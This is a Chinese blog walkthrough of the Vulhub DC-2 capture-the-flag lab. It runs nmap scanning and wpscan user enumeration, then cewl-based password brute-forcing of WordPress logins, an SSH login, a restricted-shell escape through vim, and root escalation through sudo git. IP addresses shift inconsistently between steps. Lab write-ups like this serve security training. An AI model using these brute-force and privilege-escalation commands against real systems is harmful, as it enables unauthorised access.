Vulhub-DC-2靶场
Vulhub-DC-2靶场
前言
最近一直忙于学习代码审计和内网渗透,所以靶场这方面的文章一直未更新,但是计划是更新完DC系列靶场的,这个不会鸽。
DC-2的靶场是很简单的一共5个flag.
正文
flag1
首先进行主机发现,kali输入以下命令
arp-scan -l
发现除了自己意外的IP:10.0.2.5,下一步使用nmap进行下一步扫描
nmap -sV -Pn -A -v -p- 10.0.2.5
扫描到如下信息,开放着80端口的Web服务和7744端口是SSH服务,网的CMS是wordpress4.7.10,并且是一台Linux主机
那么我们接下来根据它的信息需要进行修改/etc/host文件修改内容如下:
10.0.0.2 dc-2
继而进行访问Web网页,即可找到第一个flag,信息如下:
flag2
这边提示我们使用cewl来探测网页密码,那我们应该需要先知道有哪些账户,这边需要用到wpscan.
使用教程博客如下:https://idc.wanyunshuju.com/aqst/1885.html
在这里我简单列举几个基础的用法:
#进行漏洞数据库更新
wpscan --upgrade
#进行网页扫描
wpscan -u http://10.0.0.5
#扫描主题中存在的漏洞
wpscan -u http://10.0.0.5 --enumerate t
#枚举Wordpress的用户名
wpscan -u http://10.0.0.5--enumerate u #枚举用户
#暴力破解
wpscan –u http://10.0.0.5 --passwords /root/Desktop/dict.txt --username admin --threads 100
//指定用户名为admin,密码为 /root/Desktop/dict.txt 字典文件中的数据
那么我们首先枚举账户名,命令如下:
wpscan -u http://dc-2/ --enumerate u
返回结果如下:
将三个用户名都保存在user.list中
继而通过cewl来爬取网页中的可能是密码的字符,并且保存在password.list中:
cewl -w password.list http://dc-2
我们使用wpscan 对账户和密码进行爆破
wpscan -u http://dc-2/ --passwords password.list --usernames user.list
得到两个账户,查看后台http://dc-2/wp-admin,进行登录
得到flag2,这边提示我们web上的flag已经拿完了,应该拿服务器里了
flag3
这里我们使用ssh去链接10.0.0.5的7744端口,命令如下:
ssh -p 7744 tom@dc-2
输入登录密码后在当前文件夹下找到flag3,内容如下:
flag4
这里提示我们需要找到jerry目录下的flag4,但是我们发现很多命令被禁用了,但是通过vi可以访问flag4,所以这里用到了vim的SUIDs提权。
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
首先进入vim,输入如下命令
:set shell=/bin/bash
:shell
输入之后,可以发现仍然有很多命令不可执行,此时我们使用export查看环境变量,显示如下:
将/bin和/usr/bin添加到PATH中,命令如下
export PATH=$PATH:/bin
export PATH=$PATH:/usr/bin
此时输入python发现可以执行,进行切换用户到jerry,在家目录下找到flag4
flag5
根据提示需要进入到root用户目录下,考虑提权,发现无法使用gcc,又根据提示git,考虑又是SUID提权。
输入以下命令查询系统上可运行SUID的文件,显示结果如下
find / -perm -u=s -type f 2>/dev/null
进行尝试并未成功,又考虑到提示git,输入以下命令,查看目前用户可执行与无法执行的指令。
sudo -l
返回结果如下:
可以看到git是不需要密码就可以运行root,考虑git提权。
首先输入:sudo git help config ,在末行命令栏输入以下命令
!/bin/bash
即可切换到 root用户权限目录下,找到最后的flag
至此DC-2靶场的flag全部找齐。